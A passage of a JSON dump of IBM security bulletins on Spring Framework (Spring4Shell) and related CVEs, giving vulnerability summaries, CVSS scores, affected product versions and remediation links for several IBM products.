Agent\n\n| \n\n2.106.100.008 and prior \n \n \n\n\n## Remediation/Fixes\n\nIBM encourages customers to update their systems promptly. \n\n1\\. Update the IBM MaaS360 Mobile Enterprise Gateway and the MaaS360 VPN Module to version 2.106.500 or higher. Instructions on how to upgrade the Mobile Enterprise Gateway and VPN Module is located on this IBM Documentation [page](<https://www.ibm.com/docs/en/maas360?topic=ice-upgrading-mobile-enterprise-gateway-meg-maas360-vpn-modules> \"page\" ).\n\n2\\. Update the IBM MaaS360 Cloud Extender to version 2.106.500.011 or greater. The latest Cloud Extender agent is available within the MaaS360 Administrator Portal. Instructions to upgrade the Agent is located on this IBM Documentation [page](<https://www.ibm.com/docs/en/maas360?topic=extender-upgrading-cloud> \"page\" ).\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-06T18:27:01", "type": "ibm", "title": "Security Bulletin: IBM MaaS360 Cloud Extender Agent, Mobile Enterprise Gateway and VPN module have multiple vulnerabilities (CVE-2021-22060, CVE-2022-22950, CVE-2022-0547, CVE-2022-0778, CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22060", "CVE-2022-0547", "CVE-2022-0778", "CVE-2022-22950", "CVE-2022-22965"], "modified": "2022-06-06T18:27:01", "id": "14108283F9157C4F2A38313CFBD3F47CFDC207CBE84809E04B7E197DA546B8D3", "href": "https://www.ibm.com/support/pages/node/6592807", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:29", "description": "## Summary\n\nThere are multiple vulnerabilities in Spring Framework used by SPSS Collaboration and Deployment Services. SPSS Collaboration and Deployment Services is affected but not classified as vulnerable to these issues. The fix includes Spring 5.3.20.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) \n \n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22970](<https://vulners.com/cve/CVE-2022-22970>) \n** DESCRIPTION: **Vmware Tanzu Spring Framework is vulnerable to a denial of service, caused by a flaw in the handling of file uploads. By sending a specially-crafted request, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/226491](<https://exchange.xforce.ibmcloud.com/vulnerabilities/226491>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-22968](<https://vulners.com/cve/CVE-2022-22968>) \n** DESCRIPTION: **Spring Framework could provide weaker than expected security, caused by a data binding rules vulnerability in which the patterns for disallowedFields on a DataBinder are case sensitive. The case sensitivity allows that a field is insufficiently protected unless it is listed with both upper and lower case for the first character of the field. An attacker could exploit this vulnerability to launch further attacks on the system. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/224374](<https://exchange.xforce.ibmcloud.com/vulnerabilities/224374>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2022-22971](<https://vulners.com/cve/CVE-2022-22971>) \n** DESCRIPTION: **Vmware Tanzu Spring Framework is vulnerable to a denial of service, caused by a flaw with a STOMP over WebSocket endpoint. By sending a specially-crafted request, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/226492](<https://exchange.xforce.ibmcloud.com/vulnerabilities/226492>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nSPSS Collaboration and Deployment Services| 8.3 \nSPSS Collaboration and Deployment Services| 8.2.2 \nSPSS Collaboration and Deployment Services| 8.2.1 \nSPSS Collaboration and Deployment Services| 8.2 \nSPSS Collaboration and Deployment Services| 8.1.1 \nSPSS Collaboration and Deployment Services| 8.1 \nSPSS Collaboration and Deployment Services| 8.0 \n \n\n\n## Remediation/Fixes\n\nProduct | VRMF| Remediation/First Fix \n---|---|--- \nSPSS Collaboration and Deployment Services| 8.3.0.0| [8.3.0.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.3.0.0-IM-SCaDS-IF008&source=SAR> \"8.3.0.0\" ) \nSPSS Collaboration and Deployment Services| 8.2.2.0| [8.2.2.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.2.2.0-IM-SCaDS-IF009&source=SAR> \"8.2.2.0\" ) \nSPSS Collaboration and Deployment Services| 8.2.1.0| [8.2.1.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.2.1.0-IM-SCaDS-IF007&source=SAR> \"8.2.1.0\" ) \nSPSS Collaboration and Deployment Services| 8.2.0.0| [8.2.0.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.2.0.0-IM-SCaDS-IF007&source=SAR> \"8.2.0.0\" ) \nSPSS Collaboration and Deployment Services| 8.1.1.0 \n| [8.1.1.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.1.1.0-IM-SCaDS-IF008&source=SAR> \"8.1.1.0\" ) \nSPSS Collaboration and Deployment Services| 8.1.0.0 \n| [8.1.0.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.1.0.0-IM-SCaDS-IF009&source=SAR> \"8.1.0.0\" ) \nSPSS Collaboration and Deployment Services| 8.0.0.0 \n| [8.0.0.0](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FSPSS+Collaboration+and+Deployment+Services&fixids=8.0.0.0-IM-SCaDS-IF009&source=SAR> \"8.0.0.0\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-30T14:20:34", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities in Spring Framework affect SPSS Collaboration and Deployment Services", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950", "CVE-2022-22965", "CVE-2022-22968", "CVE-2022-22970", "CVE-2022-22971"], "modified": "2022-05-30T14:20:34", "id": "C602AE40F6974D4EE4D596F81D007D4F74282F20DC8B4859AE08925E2CE79326", "href": "https://www.ibm.com/support/pages/node/6590869", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:01:42", "description": "## Abstract\n\nIs Sterling Order Management affected by Spring vulnerability CVE-2022-22963?\n\n## Content\n\nIBM is aware of a recently surfaced vulnerability [CVE-2022-22963](<https://nvd.nist.gov/vuln/detail/CVE-2022-22963>) and has evaluated whether any Sterling Order Management applications are affected. The following is a summary of our evaluation:\n\nComponent | \n\nSpring \nversion\n\nused\n\n| Impacted by \nCVE-2022-22963 | \n\nImmediate\n\nMitigation\n\nPlan\n\n| Latest Status \n---|---|---|---|--- \nSterling Order Management SaaS, On-prem and Certified Containers (including Store Engagement & Call Center) | Not used | No | N/A | Not vulnerable \n \nInventory Visibility\n\nMicroservice\n\n| Not used | No | N/A | Not vulnerable \n \nIntelligent Promising\n\nMicroservice\n\n| Not used | No | N/A | Not vulnerable \nOMS Data Exchange Service | Not used | No | N/A | Not vulnerable \n \nStore Inventory Management\n\nMicroservice\n\n| Not used | No | N/A | Not vulnerable \nOrder Hub | Not used | No | N/A | Not vulnerable \nSterling Fulfillment Optimizer | Not used | No | N/A | Not vulnerable \nConfigure, Price, Quote (CPQ): Omni-Configurator and Visual Modeler | Not used | No | N/A | Not vulnerable \nConfigure, Price, Quote (CPQ): Field Sales | Not used | No | N/A | Not vulnerable \n \n## Related Information \n\n[CVE-2022-22963 - National Vulnerability Database](<https://nvd.nist.gov/vuln/detail/CVE-2022-22963>)\n\n[CVE-2022-22963 - mitre.org](<https://vulners.com/cve/CVE-2022-22963>)\n\n[CVE-2022-22963: Spring Framework RCE via Data Binding on JDK 9+ - vmware.com](<https://tanzu.vmware.com/security/cve-2022-22963>)\n\n[{\"Type\":\"MASTER\",\"Line of Business\":{\"code\":\"LOB59\",\"label\":\"Sustainability Software\"},\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Product\":{\"code\":\"SS6PEW\",\"label\":\"Sterling Order Management\"},\"ARM Category\":[{\"code\":\"a8m0z000000cy00AAA\",\"label\":\"Orders\"}],\"Platform\":[{\"code\":\"PF025\",\"label\":\"Platform Independent\"}],\"Version\":\"All Versions\"}]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-28T19:47:33", "type": "ibm", "title": "Security Bulletin: Sterling Order Management and Spring vulnerability CVE-2022-22963", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-07-28T19:47:33", "id": "EBFFCC00EDD65F45E051073EAF518CD443503E46CC247513E4B973ECC7C31531", "href": "https://www.ibm.com/support/pages/node/6600077", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:07:04", "description": "## Summary\n\nIBM Maximo For Civil infrastructure is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. The fix includes Spring Boot 2.6.6 that depends on Spring Framework 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Maximo for Civil Infrastructure| 7.6.2.1, 7.6.3, 7.6.3.1 \n \n\n\n## Remediation/Fixes\n\nDownload the correct version of the fix from the following link: [IBM Maximo for Civil Infrastructure V7.6.3.2 Fix Pack](<https://www.ibm.com/support/pages/node/6569525> \"IBM Maximo for Civil Infrastructure V7.6.3.2 Fix Pack\" ). Installation instructions for the fix are included in the readme document that is in the fix package.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-11T15:15:01", "type": "ibm", "title": "Security Bulletin: IBM Maximo For Civil infrastructure is vulnerable to a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-11T15:15:01", "id": "22F3632F9800C8C7D12EDA0C85AC627F2AABCAA068D310065EEF12F9F4A345C4", "href": "https://www.ibm.com/support/pages/node/6570913", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T05:55:42", "description": "## Summary\n\nIBM Case Manager is affected but not classified as vulnerable to a remote code execution in Spring Framework [CVE-2022-22965]. To be vulnerable a product must meet all of the following criterias: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Cloud connector service if enabled will use only the spring, as in a client to make only the REST calls with IBM Cloud Mangement Console. The fix includes Spring 5.3.18. IBM Case Manager doesn't meet all of the criterias and, therefore, is not vulnerable.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Case Manager| 5.3CD \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the affected versions by applying the appropriate interim fix or upgrading.**\n\nAffected Product(s)| Version(s)| Remediation / Fix \n---|---|--- \nIBM Case Manager| V5.3.0 - V5.3.3| Apply IBM Case Manager interim fix for [DT143005](<https://www.ibm.com/mysupport/aCI3p000000Xio5> \"DT143005\" ) or upgrade to IBM Business Automation Workflow 22.0.1 or later. \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-01T00:45:52", "type": "ibm", "title": "Security Bulletin: IBM Case Manager is affected but not classified as vulnerable to a remote code execution in Spring Framework [CVE-2022-22965]", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-10-01T00:45:52", "id": "B547E4473646186969A14DFF0C2EB7D3D14D2E03EBA009074D6083D7482CB50F", "href": "https://www.ibm.com/support/pages/node/6825845", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:49", "description": "## Summary\n\nIBM InfoSphere Information Server is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring is used in our Rest apis, application deployment inside containers. The fix includes Spring 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nInfoSphere Information Server, \nInformation Server on Cloud| 11.7 \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRMF**| **APAR**| **Remediation** \n---|---|---|--- \nInfoSphere Information Server, InfoSphere Information Server on Cloud| 11.7| [JR64760](<http://www.ibm.com/support/docview.wss?uid=swg1JR64760> \"JR64760\" )| \\--Apply IBM InfoSphere Information Server version [11.7.1.0](<https://www.ibm.com/support/pages/node/878310>) \n\\--Apply IBM InfoSphere Information Server version [11.7.1.3](<https://www.ibm.com/support/pages/node/6498109> \"11.7.1.3\" ) \n\\--Apply Information Server [11.7.1.3 Service pack 4](<https://www.ibm.com/support/pages/node/6568469> \"\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T23:09:44", "type": "ibm", "title": "Security Bulletin: IBM InfoSphere Information Server is affected by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-27T23:09:44", "id": "55BD84BAE8C7A14BA43B1D5F808B6528E4FBEF810015A85F798847837C477C2F", "href": "https://www.ibm.com/support/pages/node/6575577", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:36", "description": "## Summary\n\nIBM Watson Assistant for IBM Cloud Pak for Data is affected but not vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring Framework is used by IBM Watson Assistant for IBM Cloud Pak for Data as part of its developement infrastructure. The fix includes Spring version 5.3.18, 5.2.20 or later.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Assistant for IBM Cloud Pack for Data| 1.5.0, 4.0.0. 4.0.2, 4.0.4, 4.0.5, 4.0.6, 4.0.7 \n \n\n\n## Remediation/Fixes\n\nFor all affected versions, IBM strongly recommends addressing the vulnerability now by upgrading to the latest (v4.0.8) release of IBM Watson Assistant for IBM Cloud Pak for Data which maintains backward compatibility with the versions listed above. \n\n**Product Latest Version**| **Remediation/Fix/Instructions** \n---|--- \nIBM Watson Assistant for IBM Cloud Pak for Data 4.0.8| \n\nFollow instructions for Installing Watson Assistant in Link to Release (v4.0.8 release information)\n\n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=assistant-installing-watson> \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-05T07:36:23", "type": "ibm", "title": "Security Bulletin: IBM Watson Assistant for IBM Cloud Pak for Data is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-05T07:36:23", "id": "DD71E3BE311976CFF7FE89F0916C7047300E0A1E779B1D8D85CA991081F0FBC3", "href": "https://www.ibm.com/support/pages/node/6581969", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:02:46", "description": "## Summary\n\nIBM Tivoli Netcool Impact is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965).Spring is shipped as part of ActiveMQ package but is not used by the product. The fix removes Spring from the product.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Tivoli Netcool Impact| 7.1.0 \n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now by upgrading: \n\nProduct| VRMF| APAR| Remediation \n---|---|---|--- \nIBM Tivoli Netcool Impact 7.1.0| 7.1.0.26| IJ39753| Upgrade to [IBM Tivoli Netcool Impact 7.1.0 FP26](<https://www.ibm.com/support/pages/node/6587919> \"IBM Tivoli Netcool Impact 7.1.0 FP26\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": 